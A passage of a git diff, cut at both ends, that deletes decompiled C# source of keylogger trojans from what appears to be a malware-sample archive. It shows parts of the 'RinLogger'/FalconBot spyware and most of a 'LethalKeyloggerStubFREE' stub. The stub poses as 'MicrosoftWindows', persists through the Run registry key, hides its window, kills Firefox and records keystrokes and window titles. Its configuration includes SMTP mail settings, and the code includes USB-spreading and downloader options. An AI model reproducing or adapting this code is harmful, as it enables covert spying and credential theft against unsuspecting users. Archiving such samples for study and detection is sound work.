== 0) - return "]"; - if (Operators.CompareString(Left, "Oem5", false) == 0) - return "\\"; - if (Operators.CompareString(Left, "Oem1", false) == 0) - return ";"; - if (Operators.CompareString(Left, "Oem7", false) == 0) - return "'"; - if (Operators.CompareString(Left, "Oemcomma", false) == 0) - return ","; - if (Operators.CompareString(Left, "OemPeriod", false) == 0) - return "."; - if (Operators.CompareString(Left, "OemQuestion", false) == 0) - return "/"; - if (Operators.CompareString(Left, "Oemtilde", false) == 0) - return "`"; - } - } - else - return keys == Keys.Return ? Environment.NewLine : "[" + e.ToString() + "]"; - } - } - return (string) null; - } - - private delegate int SetWindowsHookEx( - int Hook, - RinLogger.Keyboard.KDel KeyDelegate, - int HMod, - int ThreadId); - - private delegate int CallNextHookEx( - int Hook, - int nCode, - int wParam, - ref RinLogger.Keyboard.KeyStructure lParam); - - private delegate int UnhookWindowsHookEx(int Hook); - - private delegate int KDel(int nCode, int wParam, ref RinLogger.Keyboard.KeyStructure lParam); - - public delegate void DownEventHandler(string Key); - - public delegate void UpEventHandler(string Key); - - private struct KeyStructure - { - public int Code; - public int ScanCode; - public int Flags; - public int Time; - public int ExtraInfo; - } - } - - public struct Gmail - { - public string Username; - public string Password; - public string Smtp; - public int Port; - public string Recipient; - } - - public struct Mail - { - public string Subject; - public bool Colorize; - public string ClipboardColor; - public string SpecialColor; - public string WindowColor; - public bool Screenshot; - } - - public struct Log - { - public int Tick; - public bool Clipboard; - public string ClipboardLogs; - public string Logs; - } - - public struct Install - { - public bool Install; - public string InstallName; - public Environment.SpecialFolder Directory; - public string Filename; - public string Mutex; - public Mutex Store; - public bool Melt; - } - - public struct Message - { - public bool Enable; - public bool Once; - public string Title; - public string Message; - public MsgBoxStyle Style; - } - - public struct RuntimeFunctions - { - public string[] Downloader; - public bool USBSpread; - public string[] Webpages; - } - - public delegate void ClockWorkerDelegate(string CapturedLogs, string CapturedClipboard); - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cts-4e3b75704a1bbf80bbb6945bbc162d99427f90d5f48c6d5976ac5b6951b410b6/RinLoggerServer/ScreenCapture.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cts-4e3b75704a1bbf80bbb6945bbc162d99427f90d5f48c6d5976ac5b6951b410b6/RinLoggerServer/ScreenCapture.cs deleted file mode 100644 index 440b4f29..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cts-4e3b75704a1bbf80bbb6945bbc162d99427f90d5f48c6d5976ac5b6951b410b6/RinLoggerServer/ScreenCapture.cs +++ /dev/null @@ -1,84 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: RinLoggerServer.ScreenCapture -// Assembly: FalconBot, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: FC0A4D36-8302-4B94-AEDD-1F060B64CA11 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Spy.MSIL.KeyLogger.cts-4e3b75704a1bbf80bbb6945bbc162d99427f90d5f48c6d5976ac5b6951b410b6.exe - -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Drawing; -using System.Runtime.InteropServices; - -namespace RinLoggerServer -{ - [StandardModule] - internal sealed class ScreenCapture - { - public static Bitmap oBitMap = (Bitmap) null; - public static byte[] ImgArray; - private const int SRCCOPY = 13369376; - private static int FW; - private static int FH; - - [DllImport("gdi32", EntryPoint = "CreateDCA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int CreateDC( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpDriverName, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpDeviceName, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpOutput, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpInitData); - - [DllImport("GDI32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int CreateCompatibleDC(int hDC); - - [DllImport("GDI32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int CreateCompatibleBitmap(int hDC, int nWidth, int nHeight); - - [DllImport("gdi32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetDeviceCaps(int hdc, int nIndex); - - [DllImport("GDI32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int SelectObject(int hDC, int hObject); - - [DllImport("GDI32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int BitBlt( - int srchDC, - int srcX, - int srcY, - int srcW, - int srcH, - int desthDC, - int destX, - int destY, - int op); - - [DllImport("GDI32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int DeleteDC(int hDC); - - [DllImport("GDI32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int DeleteObject(int hObj); - - public static void CurrentScreen() - { - string str1 = "DISPLAY"; - ref string local1 = ref str1; - string str2 = ""; - ref string local2 = ref str2; - string str3 = ""; - ref string local3 = ref str3; - string str4 = ""; - ref string local4 = ref str4; - int dc = ScreenCapture.CreateDC(ref local1, ref local2, ref local3, ref local4); - int compatibleDc = ScreenCapture.CreateCompatibleDC(dc); - ScreenCapture.FW = ScreenCapture.GetDeviceCaps(dc, 8); - ScreenCapture.FH = ScreenCapture.GetDeviceCaps(dc, 10); - int compatibleBitmap = ScreenCapture.CreateCompatibleBitmap(dc, ScreenCapture.FW, ScreenCapture.FH); - int hObject = ScreenCapture.SelectObject(compatibleDc, compatibleBitmap); - int num = ScreenCapture.BitBlt(compatibleDc, 0, 0, ScreenCapture.FW, ScreenCapture.FH, dc, 0, 0, 13369376); - int hObj = ScreenCapture.SelectObject(compatibleDc, hObject); - num = ScreenCapture.DeleteDC(dc); - num = ScreenCapture.DeleteDC(compatibleDc); - ScreenCapture.oBitMap = Image.FromHbitmap(new IntPtr(hObj)); - ScreenCapture.DeleteObject(hObj); - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cts-4e3b75704a1bbf80bbb6945bbc162d99427f90d5f48c6d5976ac5b6951b410b6/Trojan-Spy.MSIL.KeyLogger.cts.csproj b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cts-4e3b75704a1bbf80bbb6945bbc162d99427f90d5f48c6d5976ac5b6951b410b6/Trojan-Spy.MSIL.KeyLogger.cts.csproj deleted file mode 100644 index a1579e9c..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cts-4e3b75704a1bbf80bbb6945bbc162d99427f90d5f48c6d5976ac5b6951b410b6/Trojan-Spy.MSIL.KeyLogger.cts.csproj +++ /dev/null @@ -1,47 +0,0 @@ - - - - - Debug - AnyCPU - {661D1184-009B-463A-91F5-2E1EE043BC4A} - WinExe - FalconBot - 0.0.0.0 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cts-4e3b75704a1bbf80bbb6945bbc162d99427f90d5f48c6d5976ac5b6951b410b6/Trojan-Spy.MSIL.KeyLogger.cts.sln b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cts-4e3b75704a1bbf80bbb6945bbc162d99427f90d5f48c6d5976ac5b6951b410b6/Trojan-Spy.MSIL.KeyLogger.cts.sln deleted file mode 100644 index fda192f1..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cts-4e3b75704a1bbf80bbb6945bbc162d99427f90d5f48c6d5976ac5b6951b410b6/Trojan-Spy.MSIL.KeyLogger.cts.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "FalconBot", "Trojan-Spy.MSIL.KeyLogger.cts-4e3b75704a1bbf80bbb6945bbc162d99427f90d5f48c6d5976ac5b6951b410b6.csproj", "{661D1184-009B-463A-91F5-2E1EE043BC4A}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {661D1184-009B-463A-91F5-2E1EE043BC4A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {661D1184-009B-463A-91F5-2E1EE043BC4A}.Debug|Any CPU.Build.0 = Debug|Any CPU - {661D1184-009B-463A-91F5-2E1EE043BC4A}.Release|Any CPU.ActiveCfg = Release|Any CPU - {661D1184-009B-463A-91F5-2E1EE043BC4A}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-7356d718e5acf021b7dd2c7fbcdb66d8d76fcc67ec08aa5b4fc501fb60791280/AssemblyInfo.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-7356d718e5acf021b7dd2c7fbcdb66d8d76fcc67ec08aa5b4fc501fb60791280/AssemblyInfo.cs deleted file mode 100644 index 2b49f1a8..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-7356d718e5acf021b7dd2c7fbcdb66d8d76fcc67ec08aa5b4fc501fb60791280/AssemblyInfo.cs +++ /dev/null @@ -1,13 +0,0 @@ -using System.Reflection; -using System.Runtime.InteropServices; - -[assembly: AssemblyDescription("")] -[assembly: AssemblyProduct("MicrosoftWindows")] -[assembly: AssemblyCompany("")] -[assembly: AssemblyTitle("MicrosoftWindows")] -[assembly: Guid("b95034f0-1151-4765-aa52-c79079cff4de")] -[assembly: AssemblyFileVersion("1.0.0.0")] -[assembly: ComVisible(false)] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyCopyright("Copyright © 2009")] -[assembly: AssemblyVersion("1.0.0.0")] diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-7356d718e5acf021b7dd2c7fbcdb66d8d76fcc67ec08aa5b4fc501fb60791280/Form1.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-7356d718e5acf021b7dd2c7fbcdb66d8d76fcc67ec08aa5b4fc501fb60791280/Form1.cs deleted file mode 100644 index 8fb7448d..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-7356d718e5acf021b7dd2c7fbcdb66d8d76fcc67ec08aa5b4fc501fb60791280/Form1.cs +++ /dev/null @@ -1,1440 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: MicrosoftWindows.Form1 -// Assembly: LethalKeyloggerStubFREE, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: CDA884B2-DDEA-4F9B-B77F-DA62A4B22D2E -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.cuw-7356d718e5acf021b7dd2c7fbcdb66d8d76fcc67ec08aa5b4fc501fb60791280.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.Win32; -using MicrosoftWindows.My; -using System; -using System.ComponentModel; -using System.Diagnostics; -using System.Drawing; -using System.IO; -using System.Net; -using System.Net.Mail; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Text; -using System.Threading; -using System.Windows.Forms; - -namespace MicrosoftWindows -{ - [DesignerGenerated] - public class Form1 : Form - { - private IContainer components; - [AccessedThroughProperty("Timer1")] - private System.Windows.Forms.Timer _Timer1; - [AccessedThroughProperty("Timer2")] - private System.Windows.Forms.Timer _Timer2; - [AccessedThroughProperty("Timer3")] - private System.Windows.Forms.Timer _Timer3; - private TextBox innerz666; - private TextBox interz666; - private TextBox interx666; - private TextBox outerz666; - private TextBox outerx666; - private TextBox esendz666; - private TextBox esendx666; - private CheckBox checky666; - private CheckBox osname666; - private CheckBox osvers666; - private CheckBox emails666; - private CheckBox osuser666; - private TextBox osvers667; - private TextBox osname667; - private TextBox osuser667; - private TextBox smtphost; - private CheckBox startsadd; - private TextBox t2interval; - private Random irrelevant; - private string appname; - private string stub; - private string text1; - private string text2; - private string check1; - private string text3; - private string errorico; - private string text4; - private string check3; - private string check4; - private string check5; - private string check6; - private string check7; - private string check8; - private string text6; - private string combo1; - private string check9; - private string check10; - private string check11; - private string check12; - private string check13; - private string check14; - private string check15; - private string check18; - private string check19; - private string check20; - private string check21; - private string check22; - private string activewindow; - [AccessedThroughProperty("kbHook")] - private Form1.KeyboardHook _kbHook; - private bool shift; - private StreamWriter streamwriter; - - public Form1() - { - this.Load += new EventHandler(this.Form1_Load); - this.innerz666 = new TextBox(); - this.interz666 = new TextBox(); - this.interx666 = new TextBox(); - this.outerz666 = new TextBox(); - this.outerx666 = new TextBox(); - this.esendz666 = new TextBox(); - this.esendx666 = new TextBox(); - this.checky666 = new CheckBox(); - this.osname666 = new CheckBox(); - this.osvers666 = new CheckBox(); - this.emails666 = new CheckBox(); - this.osuser666 = new CheckBox(); - this.osvers667 = new TextBox(); - this.osname667 = new TextBox(); - this.osuser667 = new TextBox(); - this.smtphost = new TextBox(); - this.startsadd = new CheckBox(); - this.t2interval = new TextBox(); - this.irrelevant = new Random(); - this.appname = Path.GetFileName(Application.ExecutablePath); - this.kbHook = new Form1.KeyboardHook(); - this.InitializeComponent(); - } - - [DebuggerNonUserCode] - protected override void Dispose(bool disposing) - { - try - { - if (!disposing || this.components == null) - return; - this.components.Dispose(); - } - finally - { - base.Dispose(disposing); - } - } - - [DebuggerStepThrough] - private void InitializeComponent() - { - this.components = (IContainer) new System.ComponentModel.Container(); - this.Timer1 = new System.Windows.Forms.Timer(this.components); - this.Timer2 = new System.Windows.Forms.Timer(this.components); - this.Timer3 = new System.Windows.Forms.Timer(this.components); - this.SuspendLayout(); - this.AutoScaleDimensions = new SizeF(6f, 13f); - this.AutoScaleMode = AutoScaleMode.Font; - this.ClientSize = new Size(4, 0); - this.FormBorderStyle = FormBorderStyle.FixedToolWindow; - this.Name = nameof (Form1); - this.Text = "your mum"; - this.ResumeLayout(false); - } - - internal virtual System.Windows.Forms.Timer Timer1 - { - [DebuggerNonUserCode] get => this._Timer1; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.Timer1_Tick); - if (this._Timer1 != null) - this._Timer1.Tick -= eventHandler; - this._Timer1 = value; - if (this._Timer1 == null) - return; - this._Timer1.Tick += eventHandler; - } - } - - internal virtual System.Windows.Forms.Timer Timer2 - { - [DebuggerNonUserCode] get => this._Timer2; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.Timer2_Tick); - if (this._Timer2 != null) - this._Timer2.Tick -= eventHandler; - this._Timer2 = value; - if (this._Timer2 == null) - return; - this._Timer2.Tick += eventHandler; - } - } - - internal virtual System.Windows.Forms.Timer Timer3 - { - [DebuggerNonUserCode] get => this._Timer3; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.Timer3_Tick); - if (this._Timer3 != null) - this._Timer3.Tick -= eventHandler; - this._Timer3 = value; - if (this._Timer3 == null) - return; - this._Timer3.Tick += eventHandler; - } - } - - private void Form1_Load(object sender, EventArgs e) - { - string Delimiter = "keylogfreeforHF"; - try - { - FileSystem.FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared); - string Expression = Strings.Space(checked ((int) FileSystem.LOF(1))); - FileSystem.FileGet(1, ref Expression); - FileSystem.FileClose(1); - string[] strArray = Strings.Split(Expression, Delimiter); - this.interz666.Text = strArray[1]; - this.interx666.Text = strArray[2]; - if (Operators.CompareString(strArray[8], "errorOS", false) == 0) - { - this.checky666.Checked = true; - this.text3 = strArray[4]; - this.text4 = strArray[6]; - this.errorico = strArray[5]; - } - this.t2interval.Text = strArray[7]; - if (Operators.CompareString(strArray[9], "emailOS", false) == 0) - this.emails666.Checked = true; - if (Operators.CompareString(strArray[10], "getcomp", false) == 0) - this.osname666.Checked = true; - if (Operators.CompareString(strArray[13], "adding", false) == 0) - { - this.startsadd.Checked = true; - this.combo1 = strArray[15]; - } - this.text6 = strArray[14]; - this.check9 = strArray[16]; - this.check10 = strArray[17]; - this.check11 = strArray[18]; - this.check12 = strArray[19]; - this.check13 = strArray[20]; - this.check14 = strArray[21]; - this.check15 = strArray[22]; - this.check18 = strArray[23]; - this.check19 = strArray[24]; - this.check20 = strArray[25]; - this.check21 = strArray[26]; - this.check22 = strArray[27]; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - if (Process.GetProcessesByName(Path.GetFileNameWithoutExtension(Process.GetCurrentProcess().MainModule.ModuleName)).Length > 1) - Application.Exit(); - if (Operators.CompareString(this.check22, "Yes", false) == 0) - { - Process[] processes = Process.GetProcesses(); - int num = checked (processes.Length - 1); - int index = 0; - while (index <= num) - { - if (Operators.CompareString(Strings.UCase(processes[index].ProcessName), Strings.UCase("firefox"), false) == 0) - processes[index].Kill(); - checked { ++index; } - } - } - if (Operators.CompareString(this.check9, "Yes", false) == 0 | Operators.CompareString(this.check10, "Yes", false) == 0 | Operators.CompareString(this.check11, "Yes", false) == 0 | Operators.CompareString(this.check12, "Yes", false) == 0 | Operators.CompareString(this.check13, "Yes", false) == 0 | Operators.CompareString(this.check14, "Yes", false) == 0 | Operators.CompareString(this.check15, "Yes", false) == 0 | Operators.CompareString(this.check18, "Yes", false) == 0 | Operators.CompareString(this.check19, "Yes", false) == 0 | Operators.CompareString(this.check20, "Yes", false) == 0 | Operators.CompareString(this.check21, "Yes", false) == 0) - { - this.Timer3.Interval = 1000; - this.Timer3.Start(); - } - if (this.osuser666.Checked) - this.osuser667.Text = Environment.UserName; - if (this.osname666.Checked) - this.osname667.Text = Environment.MachineName; - if (MySettingsProperty.Settings.runonce) - { - MySettingsProperty.Settings.runonce = false; - if (this.checky666.Checked && Operators.CompareString(this.errorico, "msgexcl", false) == 0) - { - int num = (int) Interaction.MsgBox((object) this.text3, MsgBoxStyle.Exclamation, (object) this.text4); - } - if (this.startsadd.Checked) - { - try - { - string fileName = Path.GetFileName(Application.ExecutablePath); - if (Operators.CompareString(this.combo1, "applocal", false) == 0) - { - string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData); - MyProject.Computer.FileSystem.CopyFile(Application.ExecutablePath, folderPath + "\\" + fileName, true); - Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).SetValue(this.text6, (object) (folderPath + "\\" + fileName)); - } - else if (Operators.CompareString(this.combo1, "approaming", false) == 0) - { - string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData); - MyProject.Computer.FileSystem.CopyFile(Application.ExecutablePath, folderPath + "\\" + fileName, true); - Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).SetValue(this.text6, (object) (folderPath + "\\" + fileName)); - } - else if (Operators.CompareString(this.combo1, "cdrive", false) == 0) - { - string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.MyComputer); - MyProject.Computer.FileSystem.CopyFile(Application.ExecutablePath, folderPath + "\\" + fileName, true); - Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).SetValue(this.text6, (object) (folderPath + "\\" + fileName)); - } - else if (Operators.CompareString(this.combo1, "desktop", false) == 0) - { - string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory); - MyProject.Computer.FileSystem.CopyFile(Application.ExecutablePath, folderPath + "\\" + fileName, true); - Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).SetValue(this.text6, (object) (folderPath + "\\" + fileName)); - } - else if (Operators.CompareString(this.combo1, "docs", false) == 0) - { - string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.Personal); - MyProject.Computer.FileSystem.CopyFile(Application.ExecutablePath, folderPath + "\\" + fileName, true); - Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).SetValue(this.text6, (object) (folderPath + "\\" + fileName)); - } - else if (Operators.CompareString(this.combo1, "music", false) == 0) - { - string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.MyMusic); - MyProject.Computer.FileSystem.CopyFile(Application.ExecutablePath, folderPath + "\\" + fileName, true); - Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).SetValue(this.text6, (object) (folderPath + "\\" + fileName)); - } - else if (Operators.CompareString(this.combo1, "pics", false) == 0) - { - string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.MyPictures); - MyProject.Computer.FileSystem.CopyFile(Application.ExecutablePath, folderPath + "\\" + fileName, true); - Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).SetValue(this.text6, (object) (folderPath + "\\" + fileName)); - } - else if (Operators.CompareString(this.combo1, "progfiles", false) == 0) - { - string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles); - MyProject.Computer.FileSystem.CopyFile(Application.ExecutablePath, folderPath + "\\" + fileName, true); - Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).SetValue(this.text6, (object) (folderPath + "\\" + fileName)); - } - else if (Operators.CompareString(this.combo1, "start", false) == 0) - { - string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.StartMenu); - MyProject.Computer.FileSystem.CopyFile(Application.ExecutablePath, folderPath + "\\" + fileName, true); - Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).SetValue(this.text6, (object) (folderPath + "\\" + fileName)); - } - else if (Operators.CompareString(this.combo1, "system", false) == 0) - { - string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.System); - MyProject.Computer.FileSystem.CopyFile(Application.ExecutablePath, folderPath + "\\" + fileName, true); - Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).SetValue(this.text6, (object) (folderPath + "\\" + fileName)); - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - this.Timer1.Start(); - this.Timer2.Interval = checked ((int) Math.Round(unchecked (Conversions.ToDouble(this.t2interval.Text) * 60.0 * 1000.0))); - this.Timer2.Start(); - this.Visible = false; - this.Hide(); - this.ShowInTaskbar = false; - MySettingsProperty.Settings.Save(); - } - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetForegroundWindow(); - - [DllImport("USER32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetKeyState(long vKey); - - [DllImport("user32.dll", EntryPoint = "GetWindowTextA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowText(int hwnd, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpString, int cch); - - private string GetActiveWindowTitle() - { - string lpString = new string(char.MinValue, 100); - Form1.GetWindowText(Form1.GetForegroundWindow(), ref lpString, 100); - return lpString.Substring(0, checked (Strings.InStr(lpString, "\0") - 1)); - } - - private virtual Form1.KeyboardHook kbHook - { - [DebuggerNonUserCode] get => this._kbHook; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set - { - Form1.KeyboardHook.KeyDownEventHandler downEventHandler = new Form1.KeyboardHook.KeyDownEventHandler(this.kbHook_KeyDown); - Form1.KeyboardHook.KeyUpEventHandler keyUpEventHandler = new Form1.KeyboardHook.KeyUpEventHandler(this.kbHook_KeyUp); - if (this._kbHook != null) - { - Form1.KeyboardHook.KeyDown -= downEventHandler; - Form1.KeyboardHook.KeyUp -= keyUpEventHandler; - } - this._kbHook = value; - if (this._kbHook == null) - return; - Form1.KeyboardHook.KeyDown += downEventHandler; - Form1.KeyboardHook.KeyUp += keyUpEventHandler; - } - } - - private void kbHook_KeyUp(Keys Key) - { - } - - private void kbHook_KeyDown(Keys Key) - { - if (!this.Timer1.Enabled) - return; - if (Form1.GetAsyncKeyState(16L) != 0) - this.shift = true; - if (Operators.CompareString(this.activewindow, this.GetActiveWindowTitle(), false) != 0) - { - this.activewindow = this.GetActiveWindowTitle(); - this.innerz666.Text = this.innerz666.Text + "\r\n\r\n" + this.activewindow + "\r\n\r\n"; - } - if (Key == Keys.A) - { - if (this.shift) - { - this.innerz666.Text += "A"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "a"; - } - } - else if (Key == Keys.B) - { - if (this.shift) - { - this.innerz666.Text += "B"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "b"; - } - } - else if (Key == Keys.C) - { - if (this.shift) - { - this.innerz666.Text += "C"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "c"; - } - } - else if (Key == Keys.D) - { - if (this.shift) - { - this.innerz666.Text += "D"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "d"; - } - } - else if (Key == Keys.E) - { - if (this.shift) - { - this.innerz666.Text += "E"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "e"; - } - } - else if (Key == Keys.F) - { - if (this.shift) - { - this.innerz666.Text += "F"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "f"; - } - } - else if (Key == Keys.G) - { - if (this.shift) - { - this.innerz666.Text += "G"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "g"; - } - } - else if (Key == Keys.H) - { - if (this.shift) - { - this.innerz666.Text += "H"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "h"; - } - } - else if (Key == Keys.I) - { - if (this.shift) - { - this.innerz666.Text += "I"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "i"; - } - } - else if (Key == Keys.J) - { - if (this.shift) - { - this.innerz666.Text += "J"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "j"; - } - } - else if (Key == Keys.K) - { - if (this.shift) - { - this.innerz666.Text += "K"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "k"; - } - } - else if (Key == Keys.L) - { - if (this.shift) - { - this.innerz666.Text += "L"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "l"; - } - } - else if (Key == Keys.M) - { - if (this.shift) - { - this.innerz666.Text += "M"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "m"; - } - } - else if (Key == Keys.N) - { - if (this.shift) - { - this.innerz666.Text += "N"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "n"; - } - } - else if (Key == Keys.O) - { - if (this.shift) - { - this.innerz666.Text += "O"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "o"; - } - } - else if (Key == Keys.P) - { - if (this.shift) - { - this.innerz666.Text += "P"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "p"; - } - } - else if (Key == Keys.Q) - { - if (this.shift) - { - this.innerz666.Text += "Q"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "q"; - } - } - else if (Key == Keys.R) - { - if (this.shift) - { - this.innerz666.Text += "R"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "r"; - } - } - else if (Key == Keys.S) - { - if (this.shift) - { - this.innerz666.Text += "S"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "s"; - } - } - else if (Key == Keys.T) - { - if (this.shift) - { - this.innerz666.Text += "T"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "t"; - } - } - else if (Key == Keys.U) - { - if (this.shift) - { - this.innerz666.Text += "U"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "u"; - } - } - else if (Key == Keys.V) - { - if (this.shift) - { - this.innerz666.Text += "V"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "v"; - } - } - else if (Key == Keys.W) - { - if (this.shift) - { - this.innerz666.Text += "W"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "w"; - } - } - else if (Key == Keys.X) - { - if (this.shift) - { - this.innerz666.Text += "X"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "x"; - } - } - else if (Key == Keys.Y) - { - if (this.shift) - { - this.innerz666.Text += "Y"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "y"; - } - } - else if (Key == Keys.Z) - { - if (this.shift) - { - this.innerz666.Text += "Z"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "z"; - } - } - else if (Key == Keys.D0) - { - if (this.shift) - { - this.innerz666.Text += ")"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "0"; - } - } - else if (Key == Keys.D1) - { - if (this.shift) - { - this.innerz666.Text += "!"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "1"; - } - } - else if (Key == Keys.D2) - { - if (this.shift) - { - this.innerz666.Text += "@"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "2"; - } - } - else if (Key == Keys.D3) - { - 